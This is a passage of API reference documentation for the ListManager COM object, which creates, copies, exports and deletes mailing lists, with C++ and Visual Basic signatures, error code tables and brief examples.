To specify that one or more of the fields should be inserted as NULL, pass VT_NULL, VT_EMPTY, or VT_ERROR as the optional parameter(s).

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.AddUserToMailingList "{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "JaneUser@somewhere.com", "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", _
 2, 1033, VT_NULL

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::CancelOperation Method [C++]

ListManager.CancelOperation Method [Visual Basic]

Use this method to cancel the specified ListManager operation.

Definition

[C++]
HRESULT IListManager::CancelOperation(
 VARIANT varOpID
);
[Visual Basic]
Sub CancelOperation(
 varOpID As Variant
)

Parameters

varOpID [C++]
[in] A VARIANT that specifies the Operation ID of the operation to be cancelled.
varOpID [Visual Basic]
A Variant that specifies the Operation ID of the operation to be cancelled.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors, and the standard COM errors with special meanings, that this method can return.

Constant | Value | Description
E_LM_OPERATION_NOT_FOUND | [C++] 0x8C400004 [Visual Basic] &H8C400004 | The operation ID does not represent a currently running operation.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Operation ID passed to this method in the varOpID parameter can be obtained from any of the following calls when they are executed asynchronously:

[C++]
  • Copy
  • CreateFromFile
  • CreateFromSql
  • ExportToFile
  • ExportToSql
  • Subtract
  • Union
[Visual Basic]
  • Copy
  • CreateFromFile
  • CreateFromSql
  • ExportToFile
  • ExportToSql
  • Subtract
  • Union

[C++] In addition, the Operation IDs of all currently active operations can be retrieved using the GetOperations method.

[Visual Basic] In addition, the Operation IDs of all known operations can be retrieved using the GetOperations method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::Copy Method [C++]

ListManager.Copy Method [Visual Basic]

Use this method to copy an existing list over another existing list.

Definition

[C++]
HRESULT IListManager::Copy(
 VARIANT srcList,
 VARIANT resList,
 BOOL bAsync,
 VARIANT* pvarOpID
);
[Visual Basic]
Sub Copy(
 srcList As Variant,
 resList As Variant,
 bAsync As Boolean,
 Optional pvarOpID As Variant
)

Parameters

srcList [C++]
[in] A VARIANT that contains the ID or name of the source list.
srcList [Visual Basic]
A Variant that contains the ID or name of the source list.
resList [C++]
[in] A VARIANT that contains the ID or name of the result list.
resList [Visual Basic]
A Variant that contains the ID or name of the result list.
bAsync [C++]
[in] A BOOL that specifies whether the copy operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the copy operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_COPY_LIST_OVER_SELF | [C++] 0x8C40001C [Visual Basic] &H8C40001C | Cannot copy a list over itself.
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The result list must exist prior to calling the method; however, any data in the list will be overwritten.

The flags attribute of the destination list is replaced with the flags attribute of the source list. The UserFlags attribute is not changed.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' pvarOdID is a Variant
oListManager.Copy "{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "{454799A2-312B-4F5F-90A0-F514FBA0EC5A}", True, pvarOpID

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::CreateEmpty Method [C++]

ListManager.CreateEmpty Method [Visual Basic]

Use this method to create an empty list for subsequent operations.

Definition

[C++]
HRESULT IListManager::CreateEmpty(
 BSTR listName,
 BSTR listDesc,
 long flags,
 long userFlags,
 VARIANT* pvarID
);
[Visual Basic]
Function CreateEmpty(
 listName As String,
 listDesc As String,
 flags As Long,
 userFlags As Long
) As Variant

Parameters

listName [C++]
[in] A BSTR that provides the name for the new list.
listName [Visual Basic]
A String that provides the name for the new list.
listDesc [C++]
[in] A BSTR that provides a description for the new list.
listDesc [Visual Basic]
A String that provides a description for the new list.
flags [C++]
[in] A long that specifies the bitmask flags that control the type of list created.
flags [Visual Basic]
A Long that specifies the bitmask flags that control the type of list created.
userFlags [C++]
[in] A long that contains application specific user flags. Not used by the ListManager object.
userFlags [Visual Basic]
A Long that contains application specific user flags. Not used by the ListManager object.
pvarID [C++]
[out, retval] A pointer to a VARIANT used to return the ID of the new list.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the ID of the new list.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_INVALID_FLAGS | [C++] 0x8C400005 [Visual Basic] &H8C400005 | Invalid flags value.
E_LM_LIST_ALREADY_EXISTS | [C++] 0x8C400007 [Visual Basic] &H8C400007 | The specified list has already been created.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method is useful for creating an empty list for use as the result list of a copy, subtract, or union operation.

For a list of possible values for the flags parameter, see the GetListFlags method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vListID is a Variant
vListID = oListManager.CreateEmpty("TequillaBuyers1", _
 "Tequilla buyers in January", 20, 0)

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object

[C++] IListManager::GetListFlags

[Visual Basic] ListManager.GetListFlags


IListManager::CreateFromFile Method [C++]

ListManager.CreateFromFile Method [Visual Basic]

Use this method to create a list from a text file.

Definition

[C++]
HRESULT IListManager::CreateFromFile(
 BSTR listName,
 BSTR listDesc,
 long lFlags,
 long userFlags,
 BSTR fileName,
 long errLimit,
 BOOL bAsync,
 VARIANT* pvarOpID,
 VARIANT* pvarID
);
[Visual Basic]
Function CreateFromFile(
 listName As String,
 listDesc As String,
 lFlags As Long,
 userFlags As Long,
 fileName As String,
 errLimit As Long,
 bAsync As Boolean,
 Optional pvarOpID As Variant
) As Variant

Parameters

listName [C++]
[in] A BSTR that provides the name for the new list.
listName [Visual Basic]
A String that provides the name for the new list.
listDesc [C++]
[in] A BSTR that provides a description for the new list.
listDesc [Visual Basic]
A String that provides a description for the new list.
lFlags [C++]
[in] A long that specifies the bitmask flags that control the type of list created.
lFlags [Visual Basic]
A Long that specifies the bitmask flags that control the type of list created.
userFlags [C++]
[in] A long that contains application specific user flags. Not used by the ListManager object.
userFlags [Visual Basic]
A Long that contains application specific user flags. Not used by the ListManager object.
fileName [C++]
[in] A BSTR that contains the name of the file from which to create the new list.
fileName [Visual Basic]
A String that contains the name of the file from which to create the new list.
errLimit [C++]
[in] A long that specifies the maximum number of errors allowed before the operation is terminated. To specify no limit, set the errLimit parameter to zero (0).
errLimit [Visual Basic]
A Long that specifies the maximum number of errors allowed before the operation is terminated. To specify no limit, set the errLimit parameter to zero (0).
bAsync [C++]
[in] A BOOL that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID.
pvarID [C++]
[out, retval] A pointer to a VARIANT used to return the ID of the new list.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the ID of the new list.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors, and the standard COM errors with special meanings, that this method can return.

Constant | Value | Description
E_LM_BAD_FILE_PATH | [C++] 0x8C40000A [Visual Basic] &H8C40000A | The specified file path is not valid.
E_LM_FILE_ACCESS_DENIED | [C++] 0x8C400009 [Visual Basic] &H8C400009 | The ListManager service does not have permission to open the specified file.Check the permissions for the ListManager service account against the permissions for the file.
E_LM_FILE_NOT_FOUND | [C++] 0x8C400015 [Visual Basic] &H8C400015 | The specified file does not exist.
E_LM_FILESHARE_NOT_FOUND | [C++] 0x8C400016 [Visual Basic] &H8C400016 | The network share does not exist and a full path was not specified for the file.
E_LM_INVALID_FLAGS | [C++] 0x8C400005 [Visual Basic] &H8C400005 | Invalid flags value.
E_LM_LIST_ALREADY_EXISTS | [C++] 0x8C400007 [Visual Basic] &H8C400007 | The specified list has already been created.
E_LM_LISTPARSE_NO_GOOD_ROWS | [C++] 0x8C40001B [Visual Basic] &H8C40001B | All rows in the file contained parse errors. List import failed.
E_LM_NO_GENERIC_FROM_FILE | [C++] 0x8C400014 [Visual Basic] &H8C400014 | Generic lists may not be imported from files.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If a list with the same name as the listName parameter already exists, the method fails. Lists imported from text files may not be generic lists; they are always mailing lists.

The user account that the List Manager is configured to run under must have permission to access the file. For example, if the file is on a network share, the service must be running under a domain account or must otherwise have permission to access the share.

If an absolute file path and name is not specified, List Manager will look for the file relative to a root folder named CommerceLists on the local computer running the List Manager service. If the folder does not exist, an error is returned.

List Manager recognizes the following input text file format:

   <Mail-to address>,<User ID>,<Message Format>,<Locale>,
   <Source URL><cr><lf>

Mail-to address is the only required field. The Message Format field should be one of the following: 1 = text, 2 = mime, or 3 = mhtml. The Message Format, Locale, and Source fields are provided for use with Direct Mailer.

Any of the fields may be enclosed in double quotation marks. This is required if the value in the field contains any comma or double quotation mark characters. Two double quotation marks together within a quoted field can be used to denote a double quotation mark. A trailing comma will produce an error.

For a list of possible values for the lflags parameter, see the GetListFlags method.

Rows with duplicate e-mail addresses in the file are ignored.

The parameter, pvarOpID, contains valid data only if the creation operation is performed asynchronously.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vListID is a Variant
vListID = oListManager.CreateFromFile("TequillaBuyers1", _
 "Tequilla buyers in January", 20, 0, "Tequilla.csv", 10, False)

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object

[C++] IListManager::GetListFlags

[Visual Basic] ListManager.GetListFlags


IListManager::CreateFromSql Method [C++]

ListManager.CreateFromSql Method [Visual Basic]

Use this method to create a list from a SQL query.

Definition

[C++]
HRESULT IListManager::CreateFromSql(
 BSTR listName,
 BSTR listDesc,
 long lFlags,
 long userFlags,
 BSTR connStr,
 BSTR queryStr,
 long errLimit,
 BOOL bAsync,
 VARIANT* pvarOpID,
 VARIANT* pvarID
);
[Visual Basic]
Function CreateFromSql(
 listName As String,
 listDesc As String,
 lFlags As Long,
 userFlags As Long,
 connStr As String,
 queryStr As String,
 errLimit As Long,
 bAsync As Boolean,
 pvarOpID As Variant
) As Variant

Parameters

listName [C++]
[in] A BSTR that provides the name for the list.
listName [Visual Basic]
A String that provides the name for the list.
listDesc [C++]
[in] A BSTR that provides a description for the list.
listDesc [Visual Basic]
A String that provides a description for the list.
lFlags [C++]
[in] A long that specifies the bitmask flags that control the type of list created.
lFlags [Visual Basic]
A Long that specifies the bitmask flags that control the type of list created.
userFlags [C++]
[in] A long that contains application specific user flags. Not used by the ListManager object.
userFlags [Visual Basic]
A Long that contains application specific user flags. Not used by the ListManager object.
connStr [C++]
[in] A BSTR that contains the connection string for the SQL Server database.
connStr [Visual Basic]
A String that contains the connection string for the SQL Server database.
queryStr [C++]
[in] A BSTR that contains the SQL query for retrieving the contents of the new list.
queryStr [Visual Basic]
A String that contains the SQL query for retrieving the contents of the new list.
errLimit [C++]
[in] A long that is not used.
errLimit [Visual Basic]
A Long that is not used.
bAsync [C++]
[in] A BOOL that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID.
pvarID [C++]
[out, retval] A pointer to a VARIANT used to return the ID of the new list.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that contains the ID of the new list.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_CONNECTIONFAILED | [C++] 0x8C400001 [Visual Basic] &H8C400001 | Failed to establish database connection.
E_LM_INVALID_FLAGS | [C++] 0x8C400005 [Visual Basic] &H8C400005 | Invalid flags value.
E_LM_LIST_ALREADY_EXISTS | [C++] 0x8C400007 [Visual Basic] &H8C400007 | The specified list has already been created.
E_LM_MAILABLE_LIST_NO_EMAILS | [C++] 0x8C40000D [Visual Basic] &H8C40000D | The list is designated as a Mailable list but does not contain an rcp_email column.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
E_LM_USER_LIST_NO_GUIDS | [C++] 0x8C40000E [Visual Basic] &H8C40000E | The list is designated as a User list but does not contain an rcp_guid column.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

It is recommended to use the MSDASQL (ODBC) OLEDB provider with this method.

The CreateFromSQL method uses the T-SQL OpenRowset command to run the query against the database. Therefore, any ODBC data source may be specified with the following restriction:

If the SQLOLEDB provider is used, any object names used in the query must be fully qualified. For example, on SQL Server 7.0 databases, use "SELECT * FROM database.dbo.tablename" instead of "SELECT * FROM tablename".

For a list of possible values for the lflags parameter, see the GetListFlags method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' vListID is a Variant
vListID = oListManager.CreateFromSql("LegalTequillaBuyers", _
 "Tequilla buyers at least 21", 20, 0, "Provider=sqloledb;" & _
 "Data Source=TequillaServer;Initial Catalog=Margaritas;" & _
 "Integrated Security='SSPI'", "SELECT * FROM dbname.dbo.Tequilla " & _
 "WHERE Age >= 21", 10, False)

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object

[C++] IListManager::GetListFlags

[Visual Basic] ListManager.GetListFlags


IListManager::Delete Method [C++]

ListManager.Delete Method [Visual Basic]

Use this method to delete a list.

Definition

[C++]
HRESULT IListManager::Delete(
 VARIANT listID
);
[Visual Basic]
Sub Delete(
 listID As Variant
)

Parameters

listID [C++]
[in] A VARIANT that specifies the ID or name of the list to be deleted.
listID [Visual Basic]
A Variant that specifies the ID or name of the list to be deleted.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

To be deleted, a list cannot be busy with any operation.

The list data is also deleted.

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::ExportToFile Method [C++]

ListManager.ExportToFile Method [Visual Basic]

Use this method to export a Mailing list to a text file.

Definition

[C++]
HRESULT IListManager::ExportToFile(
 VARIANT listID,
 BSTR fileName,
 BOOL bUnicode,
 BOOL bOverwrite,
 BOOL bAsync,
 VARIANT* pvarOpID
);
[Visual Basic]
Sub ExportToFile(
 listID As Variant,
 fileName As String,
 bUnicode As Boolean,
 bOverwrite As Boolean,
 bAsync As Boolean,
 Optional pvarOpID As Variant
)

Parameters

listID [C++]
[in] A VARIANT that contains the ID or name of the list to be exported.
listID [Visual Basic]
A Variant that contains the ID or name of the list to be exported.
fileName [C++]
[in] A BSTR that contains the name of the file.
fileName [Visual Basic]
A String that contains the name of the file.
bUnicode [C++]
[in] A BOOL that specifies the character format of the export file. A value of True indicates that Unicode characters should be used. A value of False indicates that the current system codepage character set should be used.
bUnicode [Visual Basic]
A Boolean that specifies the character format of the export file. A value of True indicates that Unicode characters should be used. A value of False indicates that the current system codepage character set should be used.
bOverwrite [C++]
[in] A BOOL that specifies whether to overwrite the data in the export file, if it exists. A value of True indicates that the data should be overwritten. A value of False causes the method to fail if the file exists.
bOverwrite [Visual Basic]
A Boolean that specifies whether to overwrite the data in the export file, if it exists. A value of True indicates that the data should be overwritten. A value of False causes the method to fail if the file exists.
bAsync [C++]
[in] A BOOL that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_BAD_FILE_PATH | [C++] 0x8C40000A [Visual Basic] &H8C40000A | The specified file path is not valid.
E_LM_FILE_ACCESS_DENIED | [C++] 0x8C400009 [Visual Basic] &H8C400009 | The ListManager service does not have permission to open the specified file.Check the permissions for the ListManager service account against the permissions for the file.
E_LM_FILE_ALREADY_EXISTS | [C++] 0x8C400010 [Visual Basic] &H8C400010 | The specified file cannot be created because it already exists.
E_LM_FILESHARE_NOT_FOUND | [C++] 0x8C400016 [Visual Basic] &H8C400016 | The network share does not exist and a full path was not specified for the file.
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_MAILABLE_REQUIRED | [C++] 0x8C400011 [Visual Basic] &H8C400011 | The operation requires a mailable list and the specified list is not a mailable list.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

If the list is a Mailable list but not a Mailing list, a temporary Mailing list is created and then exported.

If an absolute file path and name are not specified, ListManager exports the file relative to a root folder named CommerceLists on the local computer running the ListManager resource. If the folder does not exist, an error is returned.

ListManager exports the file in the following format. The is Message Format field is an integer, all other fields are strings and enclosed in double quotation marks.

   <Mail-to address>,<User ID>,<Message Format>,<Locale>,
   <Source URL><cr><lf>

The parameter pvarOpID contains valid data only if the export operation is performed asynchronously.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.ExportToFile "{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "Tequila.csv", False, True, False

See Also

[C++] ListManager Object

[Visual Basic] ListManager Object


IListManager::ExportToSql Method [C++]

ListManager.ExportToSql Method [Visual Basic]

Use this method to export a list to the specified table in a Microsoft SQL Server database. This operation can be performed synchronously or asynchronously.

Definition

[C++]
HRESULT IListManager::ExportToSql(
 VARIANT listID,
 BSTR connStr,
 BSTR resTable,
 BOOL bOverwrite,
 long lOptions,
 BOOL bAsync,
 VARIANT* pvarOpID
);
[Visual Basic]
Sub ExportToSql(
 listID As Variant,
 connStr As String,
 resTable As String,
 bOverwrite As Boolean,
 lOptions As Long,
 bAsync As Boolean,
 Optional pvarOpID As Variant
)

Parameters

listID [C++]
[in] A VARIANT that contains the ID or name of the list to be exported.
listID [Visual Basic]
A Variant that contains the ID or name of the list to be exported.
connStr [C++]
[in] A BSTR that contains the connection string for the SQL Server database.
connStr [Visual Basic]
A String that contains the connection string for the SQL Server database.
resTable [C++]
[in] A BSTR that contains the name of the table into which the list will be exported.
resTable [Visual Basic]
A String that contains the name of the table into which the list will be exported.
bOverwrite [C++]
[in] A BOOL that specifies whether to overwrite the data if the table already exists. A value of True indicates that the data should be overwritten. A value of False produces an error if the tables already exist.
bOverwrite [Visual Basic]
A Boolean that specifies whether to overwrite the data in the table if the table already exists. A value of True indicates that the data should be overwritten. A value of False produces an error if the tables pre-exists.
lOptions [C++]
[in] A long that specifies the export options for use by the Direct Mail resource. Other applications should generally pass the value zero (0). A value of one (1) causes special action to be taken. See the Remarks section below.
lOptions [Visual Basic]
A Long that specifies the export options, for use by the Direct Mail resource. Other applications should generally pass the value zero (0). A value of one (1) causes special action to be taken. See the Remarks section below.
bAsync [C++]
[in] A BOOL that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing. A value of False indicates synchronous processing.
bAsync [Visual Basic]
A Boolean that specifies whether the creation operation is performed synchronously or asynchronously. A value of True indicates asynchronous processing. A value of False indicates synchronous processing.
pvarOpID [C++]
[out, optional] A pointer to a VARIANT used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
pvarOpID [Visual Basic]
An optional Variant used to return an Operation ID. This Operation ID is used in subsequent processing concerning this operation.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_LM_CONNECTIONFAILED | [C++] 0x8C400001 [Visual Basic] &H8C400001 | Failed to establish database connection.
E_LM_LIST_BUSY | [C++] 0x8C400008 [Visual Basic] &H8C400008 | The specified list is currently busy with another operation.
E_LM_LIST_IN_FAILED_STATE | [C++] 0x8C40001D [Visual Basic] &H8C40001D | The specified list is in a FAILED state and may not be used for the operation.
E_LM_LIST_NOT_FOUND | [C++] 0x8C400006 [Visual Basic] &H8C400006 | The specified list does not exist.
E_LM_OPER_CANCELED | [C++] 0x8C40000B [Visual Basic] &H8C40000B | The operation was canceled.
E_LM_SQLERROR | [C++] 0x8C400003 [Visual Basic] &H8C400003 | Error while executing SQL/ADO operation.
E_LM_TABLE_ALREADY_EXISTS | [C++] 0x8C40000F [Visual Basic] &H8C40000F | The specified table cannot be created because it already exists.
OLE_E_BLANK | [C++] 0x80040007 [Visual Basic] &H80040007 | The ListManager object has not been properly initialized.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

An existing table is expected to have the same format as the exported list. If the table does not exist, it will be created.

The ExportToSQL method works by opening a connection on the destination SQL Server database and executing the T-SQL OpenRowset command to select data from the List Manager database. Because of this, some special caveats apply:

  • The destination database must have the Bulk Copy/Select Into option selected.
  • If the List Manager was initialized with a connection string containing a DSN then the SQL server computer hosting the destination database must also have the DSN configured.
  • Unlike the CreateFromSQL command, ODBC data sources other than SQL Server 7.0 or greater are not supported.

The parameter pvarOpID contains valid data only if the export operation is performed asynchronously.

The lOptions parameter specifies whether the exported list is intended for use with Direct Mailer, controlling how it is processed during the export. The following table shows the legal values of the IOptions parameter.

lOptions value | Description
0 | Do not do any special processing for Direct Mailer.
1 | Export the list for use with Direct Mailer. The list must be a Mailable list or an error is returned. If the list is not a mailing list, it is converted to one.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

oListManager.ExportToSql "{2B544800-4169-4C49-8713-1B794078B4C9}", _
 "Provider=sqloledb;Data Source=TequillaServer;" & _
 "Initial Catalog=Margaritas;Integrated Security='SSPI'", _
 "Tequila", False, 0, False

See Also

[C++] ListManager Object

[C++] IListManager::ExtractMailingList

[Visual Basic] ListManager Object

[Visual Basic] ListManager.ExtractMailingList


IListManager::ExtractMailingList Method [C++]

ListManager.ExtractMailingList Method [Visual Basic]

Use this method to create a new mailing list from a generic list.

Definition

[C++]
HRESULT IListManager::ExtractMailingList(
  VARIANT srcList,
  BSTR reslistName,
  BSTR reslistDesc,
  long userFlags,
  BOOL bAsync,
  VARIANT* pvarOpID,
  VARIANT* pvarID
);
[Visual Basic]
Function ExtractMailingList(
  srcList As Variant,
  reslistName As String,
  reslistDesc As String,
  userFlags As Long,
  bAsync As Boolean,
  Optional pvarOpID As Variant
) As Variant

Parameters

srcList [C++]
[in] A VARIANT that contains the ID or name of the generic source list.
srcList [Visual Basic]
A Variant that contains the ID or name of the generic source list.
